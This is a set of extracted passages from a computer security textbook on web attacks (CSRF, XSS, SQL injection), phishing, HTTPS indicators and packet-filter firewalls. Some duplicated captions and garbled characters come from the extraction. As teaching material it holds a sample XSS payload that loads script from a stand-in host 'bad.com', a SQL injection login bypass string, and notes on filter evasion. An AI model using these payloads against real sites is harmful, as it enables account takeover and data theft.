4. CSRF attacks are an example of the confused deputy problem. This well-known fail-
ure pattern involves improper use of an authorized agent; it is a means of privilege
escalation, abusing freely extended privileges without further checks—somewhat re-
lated to principle P20 (RELUCTANT- ALLOCATION). As such, CSRF would remain of
pedagogical interest even if every implementation vulnerability instance were fixed.
5. CSRF attacks may use (but are not dependent on) injection of scripts into pages on
target servers. In contrast, XSS attacks (Section 9.6) typically rely on script injection.
CSRF MITIGATION . Secret validation tokens are one defense against CSRF. As a session
begins, the server sends the browser a unique (per-session) secret. On later HTTP requests,
the browser includes a function of the secret as a token, for the server to validate. The idea
is that a CSRF attacker, without access to the secret, cannot generate the token.
‡Exercise (Mitigating CSRF: details). a) Describe implementation details for CSRF
validation tokens, and disadvantages. b) Describe an HMAC variant, and its motivation.
(Hint: [43] and CSRF defense guidance at https://www.owasp.org.)
Figure 9.6: CSRF and XSS attacks. Injections in a) and c) might be via the user visiting
a bad or compromised site, or an HTML email link. In CSRF, the attacker neither directly
Ch.9: CSRF and XSS a.acks. The injec6on in a) and c) could be, e.g., via the user visi6ng a malicious or compromised or,
contacts the server, nor explicitly obtains credentials (e.g., no cookie is stolen per se); this
or via an HTML email link. In CSRF, note that the a.acker has no direct contact with the server, nor does the a.acker
violates the SOP in the sense that the injected code has an unintended (foreign) source.
explicitly obtain authen6ca6on creden6als (no cookie theK per se);
the sense in which this violates SOP is that the injected code has an unintended (foreign) source.
document’s new origin, the domain of the link the browser tried to load—as a parameter
to bad.com, and as a bonus, maliciously redirects the browser to bad.com.
XSS : FURTHER COMMENTS , EXAMPLE . Maliciously inserted JavaScript takes
many forms, depending on page design, and how sites filter and relay untrusted input.
It may execute during page-load/parsing, on clicking links, or on other browser-detected
events. As another reflected XSS example, suppose a site URL parameter username is
used to greet users: “Welcome, username”. If parameters are not sanitized (page 265), the
HTML reflected by the site to a user may import and execute an arbitrary JavaScript file, if
an attacker can alter parameters (perhaps by a malicious proxy). For example, the URL
http://site1.com/file1.cgi?username=
<script src=’http://bad.com/bad.js’></script>
results in: “Welcome, <script src=...></script>”. Here, .cgi refers to a server-
side CGI script expecting a parameter (perhaps using PHP or Perl). Such scripts execute
in the context of the enclosing document’s origin (i.e., the legitimate server), yielding ac-
cess to data, e.g., sensitive DOM or HTML form data such as credit card numbers. The
src= attribute of an image tag can be used to send data to external sites, with or without
redirecting the browser. Redirection to a malicious site may enable a phishing attack, or
social engineering of the user to install malware. Aside from taking care not to click on
links in email messages, search engine results, and unfamiliar web sites, for XSS protec-
tion end-users are largely reliant on the sites they visit (and in particular input sanitization
and web page design decisions).
9.6. More malicious scripts: cross-site scripting (XSS) 265
XSS : POTENTIAL IMPACTS . While cookie theft is often used to explain how XSS
works (such data leakage, e.g., via HTTP requests, was not anticipated by the SOP), the
broader point is that XSS involves execution of injected attack scripts. Unless precluded,
the execution of injected script blocks allows further JavaScript inclusions from arbitrary
sites, giving the attacker full control of a user browser by controlling document content,
the sites visited and/or resources included via URIs. Potential outcomes include:
1. browser redirection, including to attacker-controlled sites;
2. access to authentication cookies and other session tokens;
3. access to browser-stored data for the current site;
4. rewriting the document displayed to the client, e.g., with document.write() or other
methods that allow programmatic manipulation of individual DOM objects.
Control of browser content, including active content therein, also enables other attacks
that exploit independent browser vulnerabilities (cf. drive-by downloads, Chapter 7).
I NPUT SANITIZATION , TAG FILTERING , EVASIVE ENCODING . Server-side fil-
tering may stop simple XSS attacks, but leads to filter evasion tactics. For example, to
defuse malicious injection of HTML markup tags, filters replace < and > by < and >
(called output escaping, Table 9.2); browser parsers then process <script> as regu-
lar text, without invoking an execution context. In turn, to evade filters seeking the string
“<script>”, injected code may use alternate encodings for the functionally equivalent
string “<script>” (here the first 12 characters encode ASCII “<s”, per
Table 9.2). To address such evasive encodings, a canonicalization step can be used to map
input (including URIs) to a common character encoding. In practice, obfuscated input de-
feats expert filtering, and experts augment filtering with further defenses (next exercise).
Another standard evasion, e.g., to avoid a filter pattern-matching “document.cookie”,
injects code to dynamically construct that string, e.g., by JavaScript string concatenation.
Input sanitization is the process of removing potentially malicious elements from data
input, e.g., through input filtering via allowlists, denylists, and removing tags and event
attributes such as <script>, <embed>, <object>, onmouseover; content validation;
and output escaping. This follows principle P15 (DATATYPE - VALIDATION).
‡Exercise (Mitigating XSS). Discuss the design and effectiveness of Content Security
Policy to address XSS and CSRF. (Hint: [55, 60]; cf. [46]. Section 9.9 gives alternatives.)
‡C HARACTER SETS , UNICODE AND CHARACTER ENCODING . English docu-
ments commonly use the ASCII character set, whose 128 characters (numerically assigned
0x00 to 0x7f) require 7 bits but are often stored in 8-bit bytes (octets) with top bit 0. The
Unicode standard, designed to accommodate larger character sets, assigns each character
a numeric code point in the hex range U+0000 to U+10ffff. For example, “z” is associ-
ated with U+007a, possibly stored in one, two, or four bytes. The number of bytes used to
represent a code point as binary data varies, depending on the character encoding scheme
that is used. UTF-8 encoding (which is backwards compatible with ASCII) uses octets to
encode characters, one to four octets per character; ASCII’s code points are 0-127 and re-
quire just one octet. UTF-16 and UTF-32 encoding respectively use 16- and 32-bit units
to encode characters. A 32-bit Unicode code point is represented in UTF-8 using four
266 Chapter 9. Web and Browser Security
UTF-8 units, or in UTF-32 in one UTF-32 unit. To inform the interpretation of byte se-
quences as characters, the character encoding in use is typically declared in HTML, HTTP,
and email headers; browsers may also use heuristic methods to guess it.
‡HTML SPECIAL , AND URI RESERVED CHARACTERS . HTML uses “<” and “>”
to denote markup tags. In source files, when such characters are intended as literal con-
tent rather than syntax for tags, they are replaced by a special construct: “&” and “;”
surrounding a predefined entity name (Table 9.2). The ampersand then needs similar
treatment, as do quote-marks in ambiguous cases due to their use to delimit attributes
of HTML elements. The term escape in this context implies an alternate interpretation
of subsequent characters. Escape sequences are used elsewhere—e.g., in URIs, beyond
lower- and upper-case letters, digits, and selected symbols (dash, underscore, dot, tilde),
numerous non-alphanumeric characters are reserved (e.g., comma, /, ?, *, (, ), [, ], $, +, =,
and others). Reserved characters to appear in a URI for non-reserved purposes are percent-
encoded in source files: ASCII characters are replaced by %hh, with two hex digits giving
the character’s ASCII value, so “:” is %3A. Space-characters in URIs, e.g., in parameter
names, are encoded as %20. This discussion explains in part why input filtering is hard.
We now discuss SQL-related exploits, which perennially rank top-three in lists of web
security issues. Most web applications store data in relational databases, wherein each
table has a set of records (rows) whose fields (columns) contain data such as user names,
addresses, birthdates, and credit card numbers. SQL (Structured Query Language) is the
standard interface for accessing relational databases. Server-side scripts (in various lan-
guages) construct and send SQL queries to be executed on these back-end databases. The
queries are dynamically constructed using data from cookies, variables, and other sources
populated by input from users or other programs. This should be setting off alarm bells
in your head, as the same thing led to CSRF and XSS attacks (Sections 9.5–9.6) by script
injection into HTML. SQL injection involves related issues (and related solutions).
9.7. SQL injection 267
HTTP request 1 2 3
client web app database
server server server
6 HTTP response 5 4
Figure 9.7: Web architecture with SQL database. The application server constructs an
SQL query for the database server to execute. Results are returned (4) to the app server.
SQL INJECTION ATTACKS . SQL injection refers to crafting input or inserting data
with intent that attacker-chosen commands are executed by an SQL server on a database.
Objectives range from extraction or modification of sensitive data, to unauthorized ac-
Ch.9: Web architecture with SQL database. The applica9on server constructs an SQL query for the
count access and denial of service. The root cause is as in other injection attacks: data
database server to execute.
input from untrusted interfaces goes unsanitized, and results in execution of unauthorized
.
commands. A telltale sign is input that changes the syntactic structure of commands, here
SQL queries.4 A common case involves scripts using string concatenation to embed user-
input data into dynamically constructed SQL query strings. The resulting strings, sent to
an SQL server (Fig. 9.7), are processed based on specific syntax and structure. As we will
see, unexpected results can be triggered by obscure or arbitrary details of different toolsets
and platforms. Our first example relies on one such syntax detail: in popular SQL dialects,
“--” denotes a comment (effectively ending a statement or code line).
Example (SQL injection). Suppose a user logging into a web site is presented a
browser form, and enters a username and password. An HTTP request conveys the val-
ues to a web page, where a server-side script assigns them to string variables (un, pw).
The values are built into an SQL query string, to be sent to a back-end SQL database for
verification. The script constructs a string variable for the SQL query as follows:
query = "SELECT * FROM pswdtab WHERE username=’"
+ un + "’ AND password=’" + pw + "’"
“SELECT *” specifies the fields to return (* means all); fields are returned for each row
matching the condition after keyword WHERE. Thus if each row of table pswdtab corre-
sponds to a line of the file /etc/passwd, the fields from each line matching both username
and password are returned. Assume any result returned to the application server implies
a valid login (e.g., the password, hashed per Chapter 3, matches that in pswdtab). Note
that query has single-quotes (which have syntactic meaning in SQL) surrounding literal
strings, as in this example of a resulting query string:
SELECT * FROM pswdtab WHERE username=’sam’ AND password=’abcde’
Let’s see what query string results if for un, the user types in “root’ --”:
SELECT * FROM pswdtab WHERE username=’root’ -- AND · · ·
As “--” denotes a line-ending comment, what follows it is ignored. This eliminates the
condition requiring a password match, and the record for the root account is returned.
The app server assumes a successful check, and grants user access as root. (Oops!)
Example (Second SQL injection). The above attack used a common tactic: including
4 This criterion of structural change has been used to formally define command injection attacks.
268 Chapter 9. Web and Browser Security
DV certificates. Below, user confusion about what HTTPS delivers is discussed further.
P HISHING : DEFENSES . A primary defense against phishing is to remove the sources
of links to phishing sites, e.g., by spam filtering of phishing emails by service providers;
large email providers have become proficient at this. A second is domain filtering of phish-
ing sites by browsers (and also email clients), such that users are warned, or prevented
from following, links to flagged sites. This is done by use of shared lists of malicious
web sites, based on information gathered by reported abuses and/or regular web-crawling
searches that analyze characteristics of servers, to detect and classify domains as phish-
ing (or otherwise malicious) sites.7 These techniques have substantially reduced phishing
threats, but still do not provide full and immediate protection; for example, transient
phishing sites that exist for just a few hours or a day, remain problematic. User education
is also useful, to a degree—e.g., teaching users not to click on arbitrary links in email
messages, and not to provide sensitive information on requests to “confirm” or “verify”
their account. However, a variety of techniques, including social engineering (Chapter
7), continue to draw a subset of users to phishing sites, and once users are on a fake site,
the situation is less promising; studies have shown that even security experts have great
difficulty distinguishing legitimate sites from fraudulent clones thereof.
I DENTITY THEFT. We define identity theft as taking over the real-world identity of
a targeted victim, e.g., acquiring new credentials such as credit cards in their name, with
legal responsibility falling to the victim. (This is far more serious than the simpler theft of
credit card information, which may be resolved, on detection, by canceling and re-issuing
the card.) Phishing attacks directly enable identity theft (as do other activities such as
compromises of server databases that contain personal information).
S ECURITY INDICATORS . Browsers have used a variety of HTTPS-related security
indicators as visual cues, often located left of the URL bar (location bar, web address). The
most commonly used indicators have been (cf. Fig. 9.8 and Chapter 8 screen captures):
1. a closed padlock icon (this has moved from the bottom chrome to the top); and
2. an https prefix (assumed to be a useful signal to users with technical background).
Exploiting users’ confusion, attacks have shown similar or larger padlocks in the displayed
page, or as a site favicon (displayed by some browsers left of the URL bar in the chrome
itself, where users mistake it for a true lock icon). EV certificate use is currently conveyed
by displaying an “Organization” name (e.g., “Paypal Inc”) near the padlock, distinct from
a domain (paypal.com); a green padlock and “Organization” name; and/or a green URL
bar background. Some browsers denote lack of HTTPS, or an unrecognized site certificate,
with a red warning prefix such as “Not secure”, “https”, or a red crossed-out padlock.
These indicators are distinct from dialogs warning about untrusted server certificates, or
showing contents of (chains of) certificates, historically available by clicking the lock
icon. Frequent design changes to such indicators themselves adds to user confusion.
HTTPS ENCRYPTION VS . IDENTIFICATION , SAFETY. The primary indicators
(lock, https prefix) focus on channel security (encryption). The above prefix warnings
7 The Google Safe Browsing service provides a denylist used by Chrome, Safari and Firefox browsers.
272 Chapter 9. Web and Browser Security
a)
b)
c)
Figure 9.8: Browser security indicators (from URL bar, Google Chrome 73.0.3683.86).
a) HTTP only. b) HTTPS. c) HTTPS with EV (Extended Validation) certificate.
beg the question: What does “Not secure” mean, in the context of HTTPS? This term
has been used to convey that HTTPS encryption is not in use, while a “Dangerous” prefix
denotes a phishing or malware site as flagged by Google’s Safe Browsing project (above).
Note that connecting with HTTPS encryption to a dangerous site (whether so flagged or
not) does not make it “safe”. Focus on encryption overlooks a critical part of HTTPS func-
tionality: the role of web site identity and certificate authentication in overall “security”.
By the browser trust model (Chapter 8), browsers “verify” server certificates, meaning
they can “mechanically validate” a certificate (or chain) as having been signed, e.g., in
the case of DV certificates, by a recognized authority that will automatically issue free
certificates to any entity that can show control of a domain (and the private key corre-
sponding to the public key presented for certification). This leaves an important question
unanswered: how to confirm that a site is the one that a user intended to visit, or believes
they are visiting (a browser cannot know this). For signaling malicious sites, we rely on
Safe Browsing as just mentioned, and users are also cautioned not to visit arbitrary sites.
Aside: with smartphones, downloading a (legitimate) site-specific application hard-coded
to interact with one specific site, thereafter resolves the issue “Is this the intended site?”
S UMMARY AND EV CHALLENGES . Among other security-related services, browsers
offer: HTTPS encryption, recognition of mechanically valid server certificates, and bad-
site warnings. Stronger identification assurances are promised by Extended Validation
(EV) certificates, but the benefit delivered to users (e.g., by a displayed “Organization”
name) remains questionable, due to user understanding and UI challenges (below). EV
certificates offer no advantages over DV certificates in terms of encryption strength.
P OSITIVE VS . NEGATIVE INDICATORS . A movement led by Google (2018-2019)
aims to remove positive security indicators on use of HTTPS (e.g., “Secure”), switching
to negative indicators on non-use (“Not secure”, Fig. 9.8a).8 This normalizes HTTPS
as a default expectation, towards deprecating HTTP. Consistent with this, user-entry of
data into a non-HTTPS page may trigger a negative indicator, e.g., a prefix change to
“Not secure” in red (vs. grey), perhaps prefixed by “!” in a red flashing triangle. No
accompanying improvements on site identification (above) appear imminent, leaving open
the question of how to better signal to users differing degrees of assurance from certificate
classes ranging from EV, OV and DV to no certificate at all.
U SABLE SECURITY. Phishing and HTTPS security indicators above illustrate chal-
lenges in usable security, a subarea that explores the design of secure systems supporting
both usability and security, rather than trading one off against the other. Primary chal-
8 As per Fig. 9.8, the padlock icon remains. A full transition would remove the lock icon and scheme
prefix, a non-EV HTTPS connection address bar then showing: domain (no lock or https:). Though a jarring
change, this would avoid users misinterpreting a padlock or “Secure” label to mean absence of malware.
9.8. ‡Usable security, phishing and web security indicators 273
1. User buy-in Provide security designs and user interfaces suitably agreeable to
use, rather than bypass. Note P11 (USER - BUY- IN).
2. Required actions Reliably inform users of security tasks requiring their action.
3. Signal status Provide users enough feedback to be aware of a system’s current
status, especially whether security features are enabled.
4. Signal completion Reliably signal users when a security task is complete.
5. User ability Design tasks that target users are routinely able to execute correctly.
6. Beware “D” errors Design to avoid “Dangerous” errors. Note P10 (LEAST- SURPRISE).
7. Safe choices easy Design systems with “paths of least resistance” yielding secure user
choices. Note P2 (SAFE - DEFAULTS).
8. Informed decisions Never burden users with security decisions under insufficient infor-
mation; make decisions for users where possible.
9. Selectively educate Educate users, e.g., to mitigate social engineering, but note that im-
proving designs is highly preferred over relying on more education.
10. Mental models Support mental models that result in safe decisions.
Table 9.3: Selected guidelines and design principles specific to usable security. Items not
specific to security are omitted, e.g., “Make information dialogs clear, short, jargon-free”.
TLS key is used for channel security as usual. In HTTPS-PAKE, a TLS channel is first
established as usual. At the application level over TLS, a modified PAKE protocol is then
run, which “binds to” the TLS key in a manner to preclude TLS middle-person attacks;
the resulting PAKE key is not used for channel security, but allows mutual authentication.
For each approach, discuss the pros, cons, and technical, interoperability, branding, and
usable security barriers to integration for web authentication. (Hint: [42, 22].)
‡Exercise (User understanding of certificates). Clicking the padlock icon in a browser
URL bar has historically brought up a dialog allowing users to examine contents of fields in
the certificate (and a corresponding certificate chain) of the server being visited. Discuss
the utility of this in helping users take security decisions, and how realistic it is for regular
users to derive reliable security information in this way.
[1] C. Amrutkar, P. Traynor, and P. C. van Oorschot. An empirical evaluation of security indicators in
mobile web browsers. IEEE Trans. Mob. Comput., 14(5):889–903, 2015.
[2] C. Anley. Advanced SQL Injection In SQL Server Applications (white paper), 2002. Follow-up ap-
pendix: “(more) Advanced SQL Injection”, 18 Jun 2002, available online.
[3] R. Barnes, J. Hoffman-Andrews, D. McCarney, and J. Kasten. RFC 8555: Automatic Certificate Man-
agement Environment (ACME), Mar. 2019. Proposed Standard.
[4] R. Barnes, M. Thomson, A. Pironti, and A. Langley. RFC 7568: Deprecating Secure Sockets Layer
Version 3.0, June 2015. Proposed Standard.
[5] A. Barth. RFC 6265: HTTP State Management Mechanism, Apr. 2011. Proposed Standard; obsoletes
RFC 2965.
[6] A. Barth. RFC 6454: The Web Origin Concept, Dec. 2011. Standards Track.
[7] A. Barth, C. Jackson, and J. C. Mitchell. Robust defenses for cross-site request forgery. In ACM Comp.
& Comm. Security (CCS), pages 75–88, 2008.
[8] A. Barth, C. Jackson, and J. C. Mitchell. Securing frame communication in browsers. Comm. ACM,
52(6):83–91, 2009.
[9] R. Biddle, P. C. van Oorschot, A. S. Patrick, J. Sobey, and T. Whalen. Browser interfaces and extended
validation SSL certificates: An empirical study. In ACM CCS Cloud Computing Security Workshop
(CCSW), pages 19–30, 2009.
[10] S. W. Boyd and A. D. Keromytis. SQLrand: Preventing SQL injection attacks. In Applied Cryptography
and Network Security (ACNS), pages 292–302, 2004.
[11] T. Bray. RFC 8259: The JavaScript Object Notation (JSON) Data Interchange Format, Dec. 2017.
Internet Standard, obsoletes RFC 7159, which obsoleted RFC 4627.
[12] G. Buehrer, B. W. Weide, and P. A. G. Sivilotti. Using parse tree validation to prevent SQL injection
attacks. In Workshop on Software Eng. and Middleware (SEM), pages 106–113, 2005.
[13] CERT. CA-2000-02: Malicious HTML tags embedded in client web requests. Advisory, 2 Feb 2000,
https://resources.sei.cmu.edu/asset_files/whitepaper/2000_019_001_496188.pdf.
[14] S. Chen, Z. Mao, Y. Wang, and M. Zhang. Pretty-bad-proxy: An overlooked adversary in browsers’
HTTPS deployments. In IEEE Symp. Security and Privacy, pages 347–359, 2009.
[15] S. Chiasson, P. C. van Oorschot, and R. Biddle. A usability study and critique of two password man-
agers. In USENIX Security, 2006.
[16] N. Chou, R. Ledesma, Y. Teraguchi, and J. C. Mitchell. Client-side defense against web-based identity
theft. In Netw. Dist. Sys. Security (NDSS), 2004.
[17] X. de Carné de Carnavalet and M. Mannan. Killed by proxy: Analyzing client-end TLS interception
software. In Netw. Dist. Sys. Security (NDSS), 2016.
[18] R. Dhamija, J. D. Tygar, and M. A. Hearst. Why phishing works. In ACM Conf. on Human Factors in
Computing Systems (CHI), pages 581–590, 2006.
276
References (Chapter 9) 277
[41] A. Luotonen and K. Altis. World-wide web proxies. Computer Networks and ISDN Systems, 27(2):147–
154, Nov. 1994. Special issue on the First WWW Conference.
[42] M. Manulis, D. Stebila, and N. Denham. Secure modular password authentication for the web using
channel bindings. In Security Standardisation Research (SSR), pages 167–189, 2014. Also: IJIS 2016.
[43] Z. Mao, N. Li, and I. Molloy. Defeating cross-site request forgery attacks with browser-enforced au-
thenticity protection. In Financial Crypto, pages 235–255, 2009. Springer LNCS 5628.
[44] G. McGraw and E. W. Felten. Java Security: Hostile Applets, Holes, and Antidotes. John Wiley. Dec
31, 1996. The second edition (Feb 1999) is titled: Securing Java.
[45] D. McGrew and D. Bailey. RFC 6655: AES-CCM Cipher Suites for Transport Layer Security (TLS),
July 2012. Proposed Standard.
[46] T. Oda, G. Wurster, P. C. van Oorschot, and A. Somayaji. SOMA (same-origin mutual approval):
Mutual approval for included content in web pages. In ACM Comp. & Comm. Security (CCS), pages
89–98, 2008.
[47] K. G. Paterson and T. van der Merwe. Reactive and proactive standardisation of TLS. In Security
Standardisation Research (SSR), pages 160–186, 2016. Springer LNCS 10074.
[48] A. Porter Felt, R. W. Reeder, A. Ainslie, H. Harris, M. Walker, C. Thompson, M. E. Acer, E. Morant,
and S. Consolvo. Rethinking connection security indicators. In ACM Symp. Usable Privacy & Security
(SOUPS), pages 1–14, 2016.
[49] rain.forest.puppy (Jeff Forristal). NT web technology vulnerabilities. In Phrack Magazine. 25 Dec
1998, vol.8 no.54, article 08 of 12 (second half of article discusses SQL injection).
[50] C. Reis, A. Barth, and C. Pizano. Browser security: Lessons from Google Chrome. Comm. ACM,
52(8):45–49, Aug. 2009. See also: Stanford Technical Report (2009), “The security architecture of the
Chromium browser” by A. Barth, C. Jackson, C. Reis.
[51] E. Rescorla. RFC 2818: HTTP Over TLS, May 2000. Informational.
[52] E. Rescorla. SSL and TLS: Designing and Building Secure Systems. Addison-Wesley, 2001.
[53] E. Rescorla. RFC 8446: The Transport Layer Security (TLS) Protocol Version 1.3, Aug. 2018. IETF
Proposed Standard; obsoletes RFC 5077, 5246 (TLS 1.2), 6961.
[54] J. Schwenk, M. Niemietz, and C. Mainka. Same-origin policy: Evaluation in modern browsers. In
USENIX Security, pages 713–727, 2017.
[55] S. Stamm, B. Sterne, and G. Markham. Reining in the web with Content Security Policy. In WWW—
Int’l Conf. on World Wide Web, 2010.
[56] Z. Su and G. Wassermann. The essence of command injection attacks in web applications. In ACM
Symp. Prin. of Prog. Lang. (POPL), pages 372–382, 2006.
[57] H. J. Wang, C. Grier, A. Moshchuk, S. T. King, P. Choudhury, and H. Venter. The multi-principal OS
construction of the Gazelle web browser. In USENIX Security, 2009.
[58] R. Wash. Folk models of home computer security. In ACM Symp. Usable Privacy & Security (SOUPS),
2010. See also: NSPW 2011, “Influencing mental models of security”.
[59] J. Weinberger, P. Saxena, D. Akhawe, M. Finifter, E. C. R. Shin, and D. Song. A systematic analysis
of XSS sanitization in web application frameworks. In Eur. Symp. Res. in Comp. Security (ESORICS),
pages 150–171, 2011.
[60] M. West, A. Barth, and D. Veditz. Content Security Policy Level 2. W3C Recommendation, 15 Dec
2016.
[61] A. Whitten and J. D. Tygar. Why Johnny can’t encrypt: A usability evaluation of PGP 5.0. In USENIX
Security, 1999.
[62] Z. E. Ye and S. W. Smith. Trusted paths for browsers. In USENIX Security, 2002. Journal version:
ACM TISSEC, 2005.
References (Chapter 9) 279
[63] M. Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications. No Starch Press, 2011.
[64] X. Zheng, J. Jiang, J. Liang, H. Duan, S. Chen, T. Wan, and N. Weaver. Cookies lack integrity: Real-
world implications. In USENIX Security, pages 707–721, 2015.
[65] Z. Zhou, V. D. Gligor, J. Newsome, and J. M. McCune. Building verifiable trusted path on commodity
x86 computers. In IEEE Symp. Security and Privacy, 2012.
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 10
Firewalls and Tunnels
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
This chapter discusses perimeter-based defenses, starting with firewalls and then comple-
mentary enabling technologies for securing network communications of remote users and
distance-separated peers. Generic tools called encrypted tunnels and virtual private net-
works (VPNs) are illustrated by SSH and IPsec. We consider risks of network-accessible
services and how to securely provide such services, building familiarity with network de-
fense options (and their limitations). Many examples put security design principles into
practice, and give reminders of the primary goals of computer security: protecting data
and passwords in transit, protecting resources from unauthorized network access and use,
and preserving the integrity and availability of hosts in the face of network-based threats.
As a simplified view, firewalls at enterprise perimeters keep out the bulk of unautho-
rized traffic; intrusion detection systems provide awareness of, and opportunities to ame-
liorate, what gets through; user traffic is cryptographically protected by technologies such
as IPsec-based VPNs, SSH, TLS, and encrypted email; and authentication of incoming
packets or connections is used to distinguish authorized entities and data.
This view helps convey an important message: the rich flexibility and functionality
enabled by network-accessible services come with security implications. Remote access
to network-based services should be over cryptographically secured channels, comple-
mented by mechanisms that allow monitoring of traffic, and at least partial control of
where it may flow. As an upside, encrypted network communications provide legiti-
mate parties protection for transmitted data including passwords, and remote access to
trusted environments; as a downside, when intruders or malicious insiders use the same
tools, the content of their communications is inaccessible, heightening the importance of
proper access control and authentication, policy enforcement at entry and exit points, and
monitoring-based intrusion detection.
282
10.1. Packet-filter firewalls 283
work and a device. The design intent is that traffic cannot bypass the firewall in either
direction—thus in theory, packets undergo COMPLETE - MEDIATION (P4). The terminol-
ogy reflects fire-resistant doors designed to isolate damage and contain spread in case
of fire, in line with principle P5 (ISOLATED - COMPARTMENTS). Network firewalls most
commonly serve in perimeter-based defenses, protecting a trusted private (internal) net-
work from an untrusted public (external) network, e.g., the Internet.
I NBOUND AND OUTBOUND . From the private network viewpoint (Figure 10.1),
packets arriving are inbound, and those leaving are outbound. Filtering inbound packets
protects the internal network from the Internet. Filtering outbound packets allows aware-
ness and partial control of data sent out and services accessed, e.g., to enforce a secu-
rity policy restricting allowed protocols and services, and to detect unauthorized transfers
(data extrusion or exfiltration) from compromised internal machines or insiders—rogue
employees or individuals abusing resources from within. We discuss firewalls under two
broad headings: packet filters (below), and proxy-type firewalls (Section 10.2).
internal network
outbound
firewall
inbound
to enterprise external network
Internet
S TATELESS AND STATEFUL FILTERS . In a simple stateless packet filter, each packet
is processed independently of others (with no dependency on prior packets). In contrast,
a stateful packet filter keeps track of selected details as packets are processed, for use
in processing later packets. State details are kept in a firewall state table. This often
means tracking TCP connection states; packets with sources corresponding to established
or in-progress connection set-ups are treated differently than new sources. Firewalls that
track connection-related socket details (i.e., IP addresses, ports) may be called dynamic
packet filters; this term is also used more generally for a stateful packet filter whose rules
automatically change “on the fly” in specific contexts (FTP example, page 286).
Example (Packet-filtering rules). Table 10.1 gives sample filtering rules in six blocks.
1. (ingress/egress) Rules 1–2 mitigate spoofed source IP addresses. Discussion of these
rules is best deferred until Section 11.3.
2. (SMTP email) Rule 3 denies packets from a known spam server; 4 and 5 allow incom-
ing connections to a gateway mailserver and responses from it; 6 and 7 allow, from the
gateway mailserver, outgoing mail connections and associated responses.
3. (HTTP) Rules 8–A allow outbound HTTP connection requests, and inbound responses,
but reject inbound HTTP connection requests. Checking for presence of the ACK flag,
as listed, stops unsolicited inbound packets; TCP stacks themselves will reject packets
with an ACK flag but no associated existing connection.
4. (DNS): Rule B allows outgoing queries from a gateway DNS server, to resolve ad-
dresses for internal users; C and D allow incoming queries and related responses, e.g.,
for authoritative answers to external parties resolving addresses for their users.
5. (ICMP ping): Rules E–H are best discussed with denial of service (Chapter 11).
6. (default deny): Rule Z is last. A packet matching no other rules is blocked.
A (stateful-filtering) rule might ALLOW inbound SYN-ACK packets from external src addr
(s) to an internal dst addr (d) only if the state table shows d recently sent s a SYN packet.
D EFAULT- DENY RULESETS . Chapter 1’s principle P2 (SAFE - DEFAULTS) motivates
default-deny firewall rulesets, with a packet allowed only on explicitly matching an accept
rule. Such rulesets are constructed from security policies explicitly stating allowed types
of access. A default-allow alternative that allows any packet for which no rule explicitly
blocks it, has tempting usability (disrupting fewer external services desired by internal
hosts)—but is unnecessarily dangerous, as a firewall administrator cannot possibly know
of all exploits that might arise or already be in use, all requiring explicit deny rules.
F IREWALLS AND SECURITY POLICY. A packet filter executes precise rules deter-
mining which packets may enter/exit an enterprise network. Thus a firewall instantiates,
in part, an organization’s Internet security policy.2 If server ports were guaranteed to be
bound to known services, then by creating ALLOW rules that translate authorized external
services to those ports, outbound service requests could be filtered based on destination
ports in TCP headers. In practice this fails, as the mapping between port and service is
2 To put this in context with broader security policy, firewall rules specify allowed Internet services, e.g.,
in terms of remote access, whereas file permissions typically relate to local or internal files.
10.1. Packet-filter firewalls 285
employees originally accessed the web through enterprise “world wide web” gateways
or proxy servers; these evolved into firewalls. While firewalls remain in wide use, the
perimeter model can no longer fully control contact to an internal network, as perimeters
with single-point network access have largely disappeared—internal network hosts now
commonly access web content (software, data, connectivity) while bypassing firewalls,
e.g., via wireless access points not under enterprise management, USB flash drives in-
serted into hosts, and users in bring-your-own-device (BYOD) environments connecting
smartphones directly into internal networks. Firewalls nonetheless remain useful:
• to protect legacy applications within contained subnetworks;
• as an enforcement point for Internet security policy, to monitor and control incom-
ing access by remote adversaries lacking wireless or physical access to hosts; and
• to instantiate accepted defensive principles like defense-in-depth and isolation.
L IMITATIONS . While firewalls play an important contributing role and remain a primary
defense line and gateway to the Internet, they have recognized limitations:
1. topological limitations: firewall protection assumes true perimeters exist.
2. malicious insiders: users and hosts inside a firewall are treated as trusted, implying
little protection from users cooperating with outsiders, or intruders with established
positions as insiders. Traditional firewalls alone are not intruder-detection systems.
3. trusted users making bad connections: firewalls provide little protection when trusted
users originate connections resulting in malicious active content or drive-by downloads
(Chapter 7) from bad or compromised web sites.
4. firewall transit by tunneling: firewall rules relying on port number (to allow only per-
mitted services) are commonly bypassed,4 by tunneling one protocol through another
(Section 10.4). Such tunneling is used for both benign and malicious purposes.
5. encrypted content: content-based inspection at firewalls (albeit not a basic packet-
filter function) is precluded by encryption, unless means are provided to intercept and
decrypt connections via proxy-type functionality (again, Section 10.2).
‡Exercise (Pros and cons of packet filtering). Summarize the advantages and disadvan-
tages of packet-filtering firewalls (hint: [41, p.108–109]).
‡Example (Dynamic packet filtering: FTP normal mode). In FTP file transfer, one
TCP connection is used as a control channel (for commands), and another as a data chan-
nel (for data transfer). TCP ports 21 (FTP command) and 20 (FTP data) are respectively
reserved at the server end. To initiate a “normal mode” FTP session, the client assigns
two ports above 1023—one each for command and data—and using its own command
port and server port 21, opens a TCP connection on which it then sends an FTP PORT
command. This tells the server which client port to use for data transfer. The server
then opens a TCP connection to the client’s data port. This, however, violates the rule of
thumb of allowing outbound but refusing externally originated TCP connections. (Note:
4 This
assumes that the firewall lacks capabilities of content inspection and application verification, which
may be provided by (and motivate) proxy firewalls as discussed later in Section 10.2.
10.1. Packet-filter firewalls 287
FTP also has a “passive” mode that avoids this issue.) This issue may be avoided by track-
ing outbound FTP PORT commands and the port number that a specific internal host (IP
address) has requested be used for inbound FTP data connections, and automatically cre-
ating a dynamic (temporary) rule allowing the out-to-in connection to that port. Dynamic
packet filters may do so; this term may also imply a proxy-type filter (Section 10.2) that
is stateful.
‡Exercise (Network address translation). Explain what network address translation
(NAT) is, and its relationship to network security (hint: references in Section 10.7).
‡D EDICATED FIREWALLS AND HYBRID APPLIANCES . Firewalls are instantiated
as a collection of one or more software and/or hardware components. Commercial routers
commonly have packet-filtering capabilities, and may be called screening routers. Be-
yond packet filtering, firewalls at network perimeters are conveniently located for several
complementary services: NAT, VPN endpoints (Section 10.4), network monitoring, and
